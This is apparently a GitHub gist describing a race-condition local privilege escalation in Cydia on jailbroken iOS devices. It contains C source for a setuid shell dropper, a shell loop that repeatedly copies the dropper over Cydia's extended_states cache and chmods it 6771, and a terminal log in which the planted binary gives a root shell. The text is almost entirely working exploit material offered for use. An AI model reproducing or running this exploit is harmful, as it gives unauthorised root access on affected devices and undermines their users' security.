Skip to content

Instantly share code, notes, and snippets.

Last active Jul 11, 2022
What would you like to do? Race Condition LPE

Generic shell dropper:

#include <sys/types.h>
#include <unistd.h>

int main(int argc, char **argv, char **envp) {
    execl("/bin/sh", "/bin/sh", 0);
    return 0;

Execute following commands:

cd /var/mobile/Library/Caches/com.saurik.Cydia/
rm extended_states # in case it exists
while true; do cp drop_shell extended_states; chmod 6771 extended_states; done

Finally launch and install/remove something. After that check /var/lib/apt/ since this is a race condition it might not work everytime.

Hakans-iPhone:/var/lib/apt mobile$ ls -al
total 52
drwxr-xr-x 4 root wheel   170 Sep 23 20:12 ./
drwxr-xr-x 6 root admin   204 Jul 13 05:00 ../
-rwsrws--x 1 root wheel 50112 Sep 23 20:12 extended_states*
drwxr-xr-x 3 root wheel   102 Aug  8 17:05 lists/
drwxr-xr-x 2 root wheel    68 Jun 13  2014 periodic/
Hakans-iPhone:/var/lib/apt mobile$ ./extended_states
Hakans-iPhone:/var/lib/apt root# id
uid=0(root) gid=501(mobile) groups=0(wheel),501(mobile)
Hakans-iPhone:/var/lib/apt root# whoami

Fixed in

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment